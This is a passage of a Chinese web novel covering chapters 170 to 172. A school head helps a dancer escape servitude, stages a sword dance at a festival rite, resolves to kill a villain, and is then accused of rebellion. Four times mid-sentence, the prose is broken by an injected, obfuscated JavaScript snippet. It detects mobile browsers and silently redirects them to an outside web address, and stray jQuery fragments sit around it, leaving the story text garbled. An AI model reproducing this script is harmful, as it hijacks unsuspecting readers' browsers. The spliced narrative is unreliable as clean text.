“是真的,我们袁家有很多人,有被抛弃的婴儿,有从家里逃离的少年,还有和丈夫和离的青年,她们都离开了原本的家,在我们这里落了户,有我们庇护,事情会容易许多,但你是本县的舞伎,我要是把你藏在这里,可能会被认识你的人发现,你还是离开这里比较好,去一个人没人认识的地方。”姜佑安说道。 “你,为什么要帮我?”心柔问道。 姜佑安笑了笑,“我也不知道,可能是看你有眼缘吧。” 心柔沉默不语。 “你没有身份,还是个女人,去一个人生地不熟的地方生活,肯定会遇到很多困难,我当时也差点饿死,不过,只要你愿意尝试,总还是有希望的。”姜佑安说道。 心柔思索了片刻,眼睛暗淡下去,唇边浮现出淡淡的笑意,“还是不麻烦姜院长了,学生们在哪里?我去教她们跳舞吧。” “不着急,先喝茶。”姜佑安端起茶杯来,“现在学生们还在读书,等下午吧,在这里吃过了午饭,我带你去学堂。” 心柔捧起了茶杯,微笑着说道:“谢谢姜院长。” “你晚上还回县里去吗?我这里有地方住,要不你就在这里住下吧,省得你来回奔走。”姜佑安说道。 “多谢姜院长好意,我还是得回去住。”心柔客气地说道。 “行,都随你。”姜佑安说道。 中午姜佑安向袁竹引见了心柔,下午带着心柔去了学堂,跟学生们说以后要先跟心柔老师学舞蹈,再跟着辛老师操练,学生们欣然答应。 那边学生们在学跳舞,这边园子里在盖楼,杨恩和李长风也过来帮忙,两边都很热闹,姜佑安经常两头跑,忙得不亦乐乎。 园子里楼盖得不大,不到三个月就盖好了,可学生们那边进展不大,心柔时常去找姜佑安抱怨,说孩子们学得不认真,一个简单的动作,好几天都学不会,姜佑安也只笑笑,说孩子们顽劣,让心柔多费费功夫。 三月份,姜佑安给两处院子换了牌匾,旧院子换上了袁宅的牌匾,新院子挂的是袁园。 春暖花开,袁园里已经换了模样,竹叶茂盛,花朵鲜艳,袁竹对外宣扬开去,说袁园向所有人免费开放,欢迎大家去游玩。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039044|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 自此,袁家更加热闹了,游人三三两两地从大路上走来,逛园子的、喝茶的、买花的、吃点心的,直待到日落时分,才恋恋不舍地离开,还有人向袁竹提议,在园子里盖上几间屋子,供游人留宿,还能多收些钱,袁竹笑着答应,说以后会考虑。 袁竹常宿在辛开元那里,姜佑安也不回来住,找不到她们俩时,就多是阮荷、徐洪愿和钟二娘拿主意。 阮家的人听说袁家生意好,硬要阮晨烟把弟弟带过来整点钱花,谋个差事,阮荷不想因为是自家人就破例雇佣男孩,拒绝了。阮晨烟又去找到袁竹,袁竹就给她弟弟安排了个在园子门口看门的差事,只是没有住处给他。 弟弟在家时,因为姐姐们都不在,也早早帮着家里干活了,袁家虽然离得远,但能给家里挣钱,他也愿意。每日里早出晚归,从不抱怨累,平时也跟着阮晨烟学识字,没人时,就在地上划拉着练习写字。 袁家热热闹闹的,眼看就到清明节了,心柔带着吴思恭来看学生们练舞,发现学生们跳得乱七八糟的,根本不能用,把心柔和学生们训斥了一通。 蒋启连听了吴思恭的汇报,大怒,让舞伎们准备清明节的祭祀,学生们的舞蹈改在端午节,到时候要是还学不会,就要治心柔和姜佑安的罪。 心柔赶忙去找姜佑安,说明了这件事的严重性。 姜佑安倒了一杯茶,放在了心柔手边,“我还以为糊弄糊弄就过去了,没想到知县大人是铁了心要让我的学生们登台,这可真是不好办。” “你跟学生们说说,让她们认真学吧,要不然,你也会受到牵连。”心柔说道。 “我倒是无所谓。”姜佑安回到椅子边坐了,“只是,我实在不想让这些涉世未深的孩子们去向知县献媚。” “有权势的人都是如此,你不想,他们也要逼迫你去做,你反抗不了的。”心柔说道。 姜佑安冲心柔笑了笑,“你喝茶,容我想想办法。” 心柔捧了茶喝,姜佑安站起身,在堂屋中间的空地上踱步,思考着对策,看来祭祀的舞蹈是不能不跳了,但那样的舞,只是取悦男人的,恐怕神明看了,也不会高兴。 姜佑安走到门边,看到院子里有两个孩子正拿着木剑互相追逐打闹,那木剑很小,是杨恩专门做了给小孩玩的。 看到这样的场景,姜佑安心中一动,转过身来,“心柔姑娘,你会舞剑吗?” 心柔摇了摇头,“不会。” “我们这的孩子身板都比较硬,要跳那样柔软的舞,怕是不容易做到,要是舞剑,还能容易些,辛老师平时带着她们操练,会让她们练剑,他们对挥剑的动作比较熟悉,应该能记得住。”姜佑安说道。 “祭祀的舞蹈动作是知县大人亲自定的,要改成舞剑,我得回去告诉他一声,我不会舞剑,还要换个人来教。”心柔说道。 “不用。”姜佑安走到了心柔面前,“你提前告诉知县,他肯定不会答应的,我这里有一个特别擅长用剑的人,我让他给你耍几遍,你把持剑的动作融到你的舞蹈动作里,不要求多标准,只要看起来舞得用力就好。” 170. 剑舞 “你的意思,是让我重新编个剑舞,还不能告诉知县?”心柔问道。 “对,知县和县丞要是问起来,你就说学生们练得特别好,县丞要是来看,我也可以让学生们用心练一下之前的动作,应付一下。”姜佑安说道。 心柔听得很生气,“她们明明可以好好练之前的动作,为什么非得编新的?得罪了知县和县丞怎么办?后果谁来承担?不过是跳个舞而已,我们可以跳,她们为什么不可以?” 姜佑安有些惊讶地看着心柔,然后轻声笑了,“确实,我们都是一样的人,你们可以跳,我们也可以。” 心柔察觉到自己说错了话,她低下头,“不,我不是这个意思,我是贱籍,和你们不一样。” “如果只是普通的愉神舞蹈,我不反对,但知县显然是为了自己欣赏,才特意让你重新编了动作,我不希望我的学生们在他面前搔首弄姿,只为了让他看得开心,当然,我觉得你们也一样,供人玩乐,是让人难过的事,所以我才想要帮你逃走。”姜佑安说道。 “你又说这种话,就算我逃走又能怎么样,贱籍的身份会跟随我一生,这里少了一个舞伎,还会有新人补进来,不是我供人玩乐,还会有别人。”心柔说道。 “别人的事,你不必管,你只要想你自己的事,不如我们来做个交易,你帮我瞒着知县和县丞,编排剑舞交给学生们,我向你保证,我会用尽一切办法让你逃走,给你自由。”姜佑安充满自信地向心柔伸出右手,“你,要不要试试?” 心柔的心再次不受控制地狂跳起来,逃走,自由,自己一个人想起这些的时候,总觉得遥不可及,但从姜佑安口中说出,就好像马上能够实现一样,对心柔充满了诱惑力。 心柔站起身来,屏住气,缓缓伸手,放在了姜佑安的手上。 姜佑安握住了心柔的手,微笑着说道:“谢谢你愿意相信我。” 心柔手心的温度和握着她的力度,让她觉得很安心,她也笑了笑,“希望姜院长不要辜负我的信任。” “当然。”姜佑安松开了心柔的手,拍了拍她的肩膀,“我们需要好好计划一下,你要怎么出逃,到哪里去,要怎么生活下去,你还有亲人可以投靠吗?” 心柔摇了摇头,“没有,我家因为我父亲而获罪,没有人敢收留我。” “除了跳舞和打鼓,你还会什么?”姜佑安问道。 “弹琴,刺绣,不过,很多年不碰,已经生疏了。”心柔说道。 “听你的谈吐,应该读过书吧,塾师能做吗?”姜佑安问道。 “读过书,只是也忘得差不多了,要教书,我怕会误人子弟,而且,我这样的身份,可能不会被聘用吧。”心柔说道。 “先不用管这些,你回去跟县丞说一声,就说你为了潜心教授学生们舞蹈,必须早上就过来,傍晚再回去,或者你住在这里也行,下午你教她们跳舞,上午就跟学生们一起上课,你是有基础的,把书捡起来,给孩子启蒙肯定够用。”姜佑安说道。 心柔点了点头,“好,下午回去我就去找县丞。” 姜佑安牵起了心柔的手,“走,跟我去学堂那边去。” “现在就去上课吗?”心柔顺从地跟着姜佑安走出了堂屋。 “这些明天再安排,书和笔墨我都会给你准备好,今天先去找李长风,我让他给你耍剑,你看看要怎么把那些动作编排进舞蹈里。”姜佑安说道。 “好。”心柔笑了笑,跟着姜佑安走了出去。 姜佑安因为忙着这些乱七八糟的事,有一段时间没去马场练骑射了,知县把射柳比赛放在了清明节,姜佑安也因为忙着和心柔一起编排剑舞没有参加,箫悦笙带着箭术比较好的几个人去比赛,她拿了第一,周帛拿了第二,李初五拿了第三。 今年没有比骑射,前三名都是袁家的人,把锦标社的社长黎千秋的嘴都要气歪了,但人家赢的光明正大,他只能心里咒骂,表面还要装出一副大度的样子。 箫悦笙要把赢来的十两银子给姜佑安,姜佑安说现在这个知县太抠门,第一名只有这么点钱,让箫悦笙自己留着了。 清明过后,天长日暖,园子里更是花团锦簇,袁园的名声传播开来后,常有游人扶老携幼,相伴而来,姜佑安去找龙世蓉租了两辆马车,可以帮忙送送腿脚不便的客人,或是送些货物。 戴庭芳清明回去祭拜先人,戴克政劝他回家去,他不同意,两人又吵了一架,不欢而散。 回到袁家,戴庭芳和姜佑安商量起婚期,姜佑安觉得端午之后,就没什么事了,可以把成亲的日子定在六月初六,戴庭芳也同意,于是告诉了母亲,两人瞒着戴克政悄悄准备起来。 姜佑安告诉了袁竹,让袁竹先不要告诉大家,等忙完了端午节的祭祀,再忙活成亲的事也不迟,袁竹觉得喜服还是得提前做,要不然会来不及,姜佑安不太在意,说来不及就去成衣铺里买两套就行。 袁竹见姜佑安不上心,便瞒着她去找了郭英,让她帮忙给姜佑安做喜服,郭英听说姜佑安喜事将近,忙着拿着尺子去找姜佑安。 此时剑舞已经编排的差不多了,心柔、李长风和姜佑安正在戴庭芳的小院里演练,见郭英来了,姜佑安迎了上去,问她来有什么事,郭英说是为了做喜服,姜佑安抱怨袁竹多事,心柔和李长风听说了,都纷纷恭喜她。 量完了尺寸,姜佑安嘱咐郭英,只做红布衣裳就行,不用费功夫刺绣,郭英答应了,迈着轻快的步子走了出去。 剑舞编好了,心柔跳起来很有气势,手上挥舞着木剑,像是战场上拼杀的战士一样,动作强劲,姿态凌厉。 姜佑安看了,鼓掌叫好,学生们看了这样的舞,也觉得心潮澎湃,拿起木剑跟着心柔舞动起来,看到学生们如此用心地学,心柔教得比以前还要认真。 心柔还教了学生们一些之前的动作,在姜佑安的授意下,学生们也学了,以应付县丞的检查,吴思恭来看了之后,很满意,告诉知县,这些学生们可以参加端午祭祀了,蒋启连满意地点了点头。 端午节的前一天,学生们把剑舞连跳了好几遍,姜佑安和心柔觉得学生们已经很熟练了,就让学生们早些休息,第二天一早在袁家大门口集合,大家一起去县里。 学生们高兴地散去了,心柔像往常一样准备回县里,姜佑安把她叫住。 “心柔,明天端午祭祀,你找个机会溜走,去城隍庙门口找徐洪愿,我让她安排了马车把你送走。”姜佑安说道。 心柔吓了一跳,“明天就走?” “对,明天人多事杂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045625|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不用你上台表演,知县可能一时想不到你,等晚上有人发现你没回去的时候,你就走出去很远了,再想找到你就难了” “你要把我送到哪里去?”心柔问道。 “我的朋友的一个小姨,在南面的一个城镇,我朋友已经给她的小姨去了信,说了你的情况,她小姨会帮你介绍给一个富商做塾师,明天徐洪愿会给你一封信,你拿着信坐上马车,车夫我已经帮你安排好了,到了地方,会有一个姓穆的女人来接你,你跟着她走就行了。”姜佑安说道。 心柔意识到,现在是分别的时候了,她上前一步,把姜佑安紧紧抱在怀里,“谢谢你,姜院长。” 姜佑安笑着抱住她,“不客气,叫我佑安就好,我们这次也多亏了你帮忙。” 心柔放开了姜佑安,眼角闪着泪光,“佑安,如果以后有机会,我一定会回来看你的。” 姜佑安摇了摇头,“不,你不用回来看我,万一你被发现了,我们的一切努力就都白费了,就算我们天各一方,我们之间的情谊不变。” “嗯。”心柔含泪点了点头,心中激动万分,转头就要走,“我这就回去收拾东西。” 姜佑安拉住了她,“干粮和衣服我会帮你准备好,你要是有碎银子,可以带着点儿,其他显眼的东西就别带了,要是被别人发现你在打包东西,你明天可能就走不了了。” “你说得对,不能让旁人发现了。”心柔说道。 姜佑安直到心柔是个重情义的人,进一步提醒道:“还有,不要跟任何人道别,也别说以后回来看她之类的话,你要表现得跟往常一样,不要让任何人察觉到异样。” 心柔皱起了眉头,眼中有不舍,“连道别都不行吗?” “不行。”姜佑安说道。 心柔很难过,“想到我走了,她们还要继续在这里受苦,我心里就难受。” “能走就赶紧走,别想这些,你放心,我能送走你,就能送走其他人,大家都会自由的。”姜佑安说道。 姜佑安的话给了心柔莫大的勇气,纵使未来一片茫然,她心中也不再害怕了,“好,我走了,佑安,你多保重。” “嗯,你也多保重。”姜佑安把心柔送上了大路,向她挥手告别,心柔回头看了好几次,才终于回过头,脚步越走越快,消失在了姜佑安的视野里。 姜佑安转身进了院门,等明天送走了心柔,端午祭祀也结束了,就可以安心休息了,她把信和准备好的包袱给了徐洪愿,又把事情向她交代了一遍,徐洪愿郑重承诺,一定把这件事办好。 袁竹去徐洪愿的房间叫两人吃饭,“吃饭了,你们两个人神神秘秘的,说什么呢?” “没什么。”徐洪愿把包袱塞进了被子里,拉着姜佑安走了出去, 三人刚从房间里走出来,就见姜白凤着急忙慌地从二门外跑了进来,向姜佑安喊道:“姜院长,外面有人找你,说是霍家来的。” “霍家?不是来找霍静的?”姜佑安问道。 “不是,是来找你的,他说出大事了,要你一定要出去见他。”姜白凤说道。 姜佑安快步走了出去,见是霍家的小厮李鹤站在门口,他看到姜佑安,急切地迎了上来,“姜院长,大事不好了!你赶紧连夜离开这里吧!” 171. 报信 “你别着急,慢慢说,出了什么事了?”姜佑安轻声安抚道。 李鹤咽了咽口水,平复了一下心情,才又说道:“霍家族长霍祭太回来了,他记恨你们把他进大牢,还差点被砍头,肯定会想办法报复你们的。” 姜佑安听了,十分震惊,“霍祭太不是已经被处死了吗?” “原本我们也是这么以为的,袁家还给他办了葬礼,建了坟,可不知道怎么回事,清明节前,他突然悄悄回来了,他以前一直跟县丞有来往,我估计他是得了县丞的帮助,一直藏在外面,只等风声过了再露面。”李鹤说道。 “他一个死刑犯,没有知县和县丞的帮忙,要想逃出来,还隐瞒到现在,估计不容易,这件事,至少县丞是肯定知情的。”姜佑安说道。 “我上次在县衙里看到的那个人,果然是霍祭太,他从大牢里跑了,不老实藏着,还想干什么?”袁竹问道。 “对啊,应该是我们告到官府,去把他抓起来才对,你干吗让姜院长离开这里啊?”徐洪愿问道。 “官府不会管的,去年有一个姓曾的捕快说是大牢是丢了犯人,闹了一通,非要进霍家搜查,但那时候霍族长还没有回到霍家,捕快什么都没查到,后来就听说他被免职了。”李鹤急切地抓住了姜佑安的胳膊,“明天霍族长要去县里参加端午祭祀,这事肯定不简单,姜院长,你可不能去啊。” “怪不得我一直没有见到曾捕快,原来是被免职了。”姜佑安推开李鹤的手,“我答应了知县,要带着学生们向城隍神献舞,我要是不去,知县肯定要找心柔,明天我必须去。” “知县和县丞要是和霍祭太是一伙的,明天过去,怕是会有危险吧。”袁竹担心地说道。 姜佑安并不觉得危险,“祭祀典礼上那么多人,我身后还有这么多学生,晾他霍祭太也不敢轻举妄动,怕他做什么?” “你把舞蹈改成了剑舞,知县会不会为了这个,怪罪你?”徐洪愿说道。 “这只是小事,他要是生气,责怪两句也就是了,大庭广众之下,他要把我抓起来,也得有个能服众的理由吧。”姜佑安说道。 姜白凤向李鹤问道:“这位哥哥,你知道霍祭太想要在明天的祭祀典礼上做什么吗?” “今天下午,霍祭太叫了几个他信得过的人过去,我在房门外,没听太清楚,只听到他很激动地说,要在祭祀典礼上,当场取了姜院长的性命,以解他心头之恨,我就想着赶紧过来告诉姜院长,后面他们又说了什么,我就不知道了。”李鹤说道。 袁竹抓着姜佑安的胳膊,紧张地说道:“看来这事很严重,佑安,明天你就别去县里了,让开元带着学生们过去吧。” “想要我的性命,没这么简单。”姜佑安轻轻拍了拍袁竹的手,安慰道:“既然霍祭太有这样的心思,我躲在袁家,也不能解决问题,不如去看一看他要做什么,也好见招拆招。” 李鹤看着姜佑安,神情肃然,“姜院长,你还记得上次在河边向唐大人告发霍祭太的那一对夫妻吗?” “是开灯笼铺的那两个人吧,他们的儿子和霍静的姐姐一起被霍祭太处死了,这回霍祭太回来,又为难他们了吗?”姜佑安问道。 “前几天灯笼铺着火,他们两人都被烧死了,我敢肯定,就是霍祭太找人干的,姜院长,我劝你还是尽快逃走吧,这回没有唐大人,没有人能护着你了,他一向无法无天,不杀了你,是不会罢休的。”李鹤说道。 “霍祭太又杀了人?”姜佑安愤怒地瞪大了双眼,“不行,我不能走!明天我必须去祭祀典礼,还要带上我的弓箭,这个被官员袒护的恶人,没有人惩治他,我就亲自送他归西!” “你想在祭祀典礼上杀人?你疯了吗?”袁竹训斥道。 “霍祭太这样肆意杀人才是疯了!要是不赶紧杀了他,恐怕会有更多的人遭他毒手。”姜佑安看着袁竹,“你、长风、杨恩、戴老师还有程祥和白凤,都可能是霍祭太的目标,我们必须要先下手,才能保证你们的安全。” 袁竹的心怦怦直跳,这件事太危险,可又不得不去做,就像当初的赵雄一样,只有他死了,那些被她欺压的人才能平安无事。 “好,听你的,不过,你一定要先顾着自己的安全,不要太冲动。”袁竹说道。 姜佑安微笑着说道:“你放心,我有分寸的。” “姜院长,你真的不走吗?”李鹤担心地问道。 “不走,这里是我的家,我哪儿都不去。”姜佑安冲李鹤笑了笑,“多谢你为了我们跑这一趟,进来一起吃晚饭吧。” “不了,我娘还在家等着我,我这就回去了。”李鹤向姜佑安行了一礼,“姜院长请多保重,千万别让我听见关于您的坏消息。” 姜佑安点头回礼,从怀里摸出一块碎银子来,塞到李鹤手里,“多谢你了,回去和你娘好好过端午吧,不会有坏消息的。” 李鹤收下了银子,又行了一礼,在渐暗的暮色中远去了。 几个人站在院门口,谁都没有说话,也没有动弹,明天,究竟是有好消息,还是坏消息,谁都说不准,不安的情绪像暮色一样笼罩在身上,让人迷茫无措。 “走吧,回去吃饭,一会儿菜都要凉了。”还是姜佑安先回过神来,拉着袁竹进了院门,徐洪愿和姜白凤也跟着走了进去。 戴庭芳见天都黑了,姜佑安还没过来,便打着灯笼来到袁家门口接姜佑安。 姜佑安从袁家大门里走出来,姜白凤向两人道别,关上了院门,姜佑安挽着戴庭芳的胳膊,踏着灯笼投下的光,一步步向东走去。 “今天的饭菜很好吗?吃到天黑才出来。”戴庭芳说道。 姜佑安同他开着玩笑,“那肯定比你做的好吃。” “我跟杨恩认真学了,现在做得好多了,要不明天晚上我做给你尝尝?”戴庭芳说道。 “好啊,明天回来,正好需要好好放松一下,我就直接跟你回来,哪儿都不去了。”姜佑安笑着说道。 “这些日子真是辛苦你了,明天我一定好好伺候你。”戴庭芳说道。 姜佑安揽着戴庭芳的腰,倚在他身上,“今天也好好伺候伺候我吧。” 戴庭芳知道天黑没人能看见,也就由着她抱着自己动手动脚,“今天也很累吧,回去我给你按按肩。” “嗯,辛苦相公了。”姜佑安说道。 听到姜佑安叫自己相公,夜色中,戴庭芳的嘴角翘得很高。 两人相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050147|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴回了家,戴庭芳打了热水,两人洗漱一番,就上了床。 床边点着一盏油灯,姜佑安趴在床上,戴庭芳在给她揉捏肩膀、敲打后背。 “舒服吗?”戴庭芳问道。 “你应该问,娘子,舒服吗?”姜佑安说道。 “这不是还没有成亲嘛。”戴庭芳说道。 “也就剩一个月的时间了,提前叫一叫,有什么不行的?你可真是呆板。”姜佑安抱怨道。 戴庭芳犹豫了片刻,凑到姜佑安耳边,轻轻唤了一声,“娘子。” 姜佑安回过头来,快速在他嘴唇上亲了一下,笑着叫他,“相公。” 戴庭芳愣了一下,脸上红了起来,慌乱地拉扯着被子,把姜佑安盖起来,“早点睡吧,明天要早起的。” 同床共枕这么久,他还是会因为一些小事脸红,真是可爱,姜佑安把戴庭芳拽进被子里,抱在怀中,“你明天要跟我一起去吗?” “你辛苦了这么长时间,我当然要去,我要亲眼见证你们在台上震惊众人。”戴庭芳微笑着说道。 “明天可能会发生一些不好的事,到时候你不要被吓到。”姜佑安说道。 戴庭芳收敛了笑意,担心地看向姜佑安的眼睛,“明天有什么事?知县还是要为难你吗?” “知县那边不好说,现在有一个更大的问题,霍祭太还活着,他想要在明天的祭祀典礼上报复我。”姜佑安说道。 “霍祭太?他不是被处死了吗?怎么还活着?”戴庭芳惊讶地问道。 “可能是串通了知县和县丞,他不但逃出去了,最近还回到了霍家。”姜佑安说道。 “你怎么知道的?”戴庭芳问道。 “之前去救霍静的时候,我结识了一个霍家的小厮,他叫李鹤,这些是他特意来告诉我的,他想让我逃走,但我觉得霍祭太不会只针对我一个人,为了袁家人的安全着想,我想在明天杀掉霍祭太。”姜佑安说道。 “杀掉…”戴庭芳想到了那个叫赵雄的恶霸,“这样的人,确实是杀掉比较好,不过,明天你在大庭广众之下动手,万一被知县追究责任怎么办?” “霍祭太是死刑犯,知县和县丞对此心知肚明,杀掉一个该死的人,也不是什么重罪,万一他们真的要抓我入狱,之前我们搜集的有关知县的罪证就可以排上用场了,到时候,还得麻烦你帮我上告。”姜佑安说道。 戴庭芳抱着姜佑安,神情严肃,“好,我一定会救你出来的。” 姜佑安笑了笑,抓着戴庭芳的手放在自己的身上,“明天的事,明天再说,相公,我身上还有些酸疼,你可以再帮我按按吗?” 戴庭芳心里很不安,根本没有这个心思,随意地给姜佑安按捏着。 姜佑安不满地缠在他的身上,揉捏着他的身子,亲吻他的嘴唇,“相公,你说了要好好伺候我的。” 戴庭芳被她撩拨得生出火来,抛下那些乱七八糟的想法,吻了回去。 “娘子…”戴庭芳轻声呼唤着。 “对,就这样叫我。”姜佑安解开戴庭芳的衣服,肆意抚摸着,“继续叫,我喜欢听。” “娘子…”两个人互相抚慰一番之后,姜佑安听着戴庭芳的呢喃声睡去了。 172. 谋反 清晨,戴庭芳叫醒了姜佑安,姜佑安穿上了戴庭芳的衣服,梳上男式发髻,和他一起去袁家吃了早饭,姜佑安背着弓箭从袁家大门里出来的时候,院门外已经聚集了很多学生和家长。 听说孩子们要去参加县里的端午祭祀,家长们都为孩子们感到自豪,农忙的时候都没有叫孩子们回家帮忙,今天也是一早就跟着孩子们出门,只为了一睹孩子们在台上为神明献舞的风采。 到了约定的时间,姜佑安让学生们列队,姜白凤和姜佑安在前面领头,大家都穿着蓝色的衣衫,梳着简单的男式发髻,腰上别着木剑,意气风发地向县城进发。 袁竹、辛开元、戴庭芳、李长风、杨恩和邵苏木跟在学生们身后,留意着队伍里学生们的情况,家长们跟在队伍最后面,互相称赞着孩子们真精神。 学生队伍走出去一段时间之后,徐洪愿带着包袱和信件,坐着马车离开了袁家。 到了城隍庙,姜佑安听说今天知州大人来了,蒋启连正忙着接待,没时间管这些杂事,吴思恭在后面寝宫附近找了一个无人的房间,让姜佑安带着学生们在里面候着。 从袁家走到城隍庙,大家也都累了,纷纷席地而坐,住在县里的学生也汇集过来,兴奋地互相说着一路上的见闻。 姜佑安守在门口,等着有人来传令让她们上台,姜白凤站在姜佑安的身侧,有些担心地看着她,“你的弓箭没带在身上。” 姜佑安回头看着姜白凤,轻轻笑了笑,“等会儿要上台舞剑,带在身上不方便。” “你可以不用上台的。”姜白凤说道。 “我要上,我得让大家知道,这次跳舞,是为了愉神,也是为了祈福,唯独不是供人取乐的,我和你们在一起,绝不会让人借机欺负你们。”姜佑安说道。 姜白凤的眼神中洋溢着崇敬之意,“你真厉害,我以后也想成为你这样的人。” 姜佑安摸了摸姜白凤的额头,笑着说道:“你可以的,你这么刻苦地跟着长风学剑,跟辛老师操练,以后一定能守卫一方。” 姜佑安和学生们等了许久,才终于有一个官差跑了过来,向姜佑安喊道:“跳舞的,该你们上台了。” “好。”姜佑安应了一声,叫学生们起来,列好队,绕过正殿,来到了山门内的戏台前。 学生们在戏台旁等着,姜佑安看那戏台容不下三十人舞剑,便去找了吴思恭,说她们人多跳不开,要在戏台下面的广场上跳,吴思恭去问蒋启连,蒋启连正忙着奉承知州展昌,只向下扫了一眼,便答应了。 官差清退了广场上的人群,姜佑安带着学生们走上了广场,广场和戏台间看台上的座椅已经调换了方向,她看到看台上前排摆放着四张座椅,分别坐着蒋启连和知府,另两张椅子在空着,吴思恭坐在后排的椅子上,旁边还坐着几个没见过的人。 姜佑安带着学生们列队在广场上站了好一阵,也不见有人来说开始,她向广场边看了看,寻找着大家的身影,也许是清场的时候,人们被冲散了,她只看到袁竹抱着包着弓箭的包袱站在广场边,还有李长风守在不远处,其他人都不见了踪迹。 龙世蓉和许家莺挤到了前排,向姜佑安挥着手,姜佑安看见了,冲她们笑了笑。 展昌有些不耐烦了,叫蒋启连不用再等,直接开始,接着,戏台旁边便有鼓声响起,正是心柔排舞时用的节奏。 踩着鼓点,姜佑安站在队伍东侧,挥了一下剑,学生们便都从腰间抽出剑来,齐喝一声,舞起剑来。 学生们手持木剑,身形矫捷,英姿飒爽,一招一式有着战士的凌厉,动作整齐,仿佛是姜佑安领导的军队,正面临一场严酷的厮杀,而融合进去的舞蹈动作又带着一种柔和的气韵,减弱了战场上的肃杀之气。 鼓声越来越快,学生们的动作也越来越大,越来越有力,广场边的人们一时都看呆了,随着一声重鼓,舞蹈结束,心潮澎湃的观众才犹如大梦初醒,激烈地鼓起掌来。 看学生们拿出剑来,蒋启连和吴思恭就觉察到不对,但碍于展昌在场,他们也不便训斥,在姜佑安带着学生即将退场的时候,蒋启连才让吴思恭叫住了她们。 学生们停留在广场上,蒋启连站起身来,向台下喊话,“这舞蹈是谁教你的?” “回知县大人,这是我们专门为城隍神编的舞,请问知州大人不满意吗?”姜佑安扬声道。 蒋启连回头看向展昌,展昌哈哈一笑,“跳得很好,本官没什么不满意的,这些女子就是女子书院的学生们吧,年纪轻轻,却如此英武有力,想必城隍神看了也会高兴的,应该好好赏她们才是。” “展大人说得是,是应该好好赏她们。”蒋启连尴尬地笑了笑,向山门处张望,并没有说要犒赏她们。 “能为神明献舞是我们的荣幸,如果两位大人没有别的事,我就带着学生们回去了。”姜佑安说道。 见姜佑安身姿挺拔,态度不卑不亢,展昌颇为欣赏,他站起身来,走到了看台边。 “你就是姜佑安?”展昌问道。 姜佑安低下头,“草民正是姜佑安。” “听说你兴办女子书院,还有收留了很多孤儿,真是心怀善念的义士,下午本官想去你的书院看看,不知你那里方不方便啊?”展昌微笑着问道。 姜佑安抬起头来,见展昌年纪在五十岁上下,笑容和蔼,看不出有什么企图,于是扬声答道:“方便,欢迎大人来袁家过端午,也尝尝我们包的粽子。” “好,你们下去吧。”展昌挥挥手,转身朝自己的座位走去。 “等一下,展大人。”蒋启连急忙说道。 展昌回过头来,“嗯?你还有什么事吗?” 蒋启连还没有回答,就见一个男人从人群中走出,站在了看台前,“大人!草民要检举女子书院院长姜佑安伙同花农袁竹,招收魁梧女子,习武练兵,意图谋反!” “什么?谋反!”展昌十分震惊,“谋反这样天大的罪名你也能轻易说出口,你是谁?有什么证据?” “草民孙南金,是庆丰镇人士,我女儿孙白凤就是被姜佑安拐骗去了,至今不肯回家,她们在女子书院里喊打喊杀,附近的村民都是亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053814|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼见过的,大人要是不信,可以叫李家村的人出来问话。”孙南金扬声说道。 姜白凤冲出来,把孙南金踹倒在地,怒吼道:“你在胡说什么?姜院长是好心收留我们,你想害死她吗?姜院长教我们练武,不过是为了强身健体,顺便保护自己,怎么就变成谋反了?” 下面顿时乱成一团,有对孙南金拳打脚踢的,有拉架的,有怒骂他胡说八道的,还有人拉扯着他,一定要让他说清楚的。 “来人!把她们都给我拉开!”蒋启连站在看台边,厉声命令道。 官差冲上去,拉开了众人,孙南金从地上爬起来,向看台上央告道:“大人救我,我还有证据。” “你有什么证据?”展昌问道。 孙南金看向吴思恭,吴思恭点点头,向台下命令道:“把证据拿上来。” 又有几个官差走到看台前,把成捆的弓箭扔在了地上,“大人,这是从袁家搜出来的武器,姜佑安一直在利用女子书院做幌子,实则是在训练士兵,这些弓箭都是能杀人的兵器。” 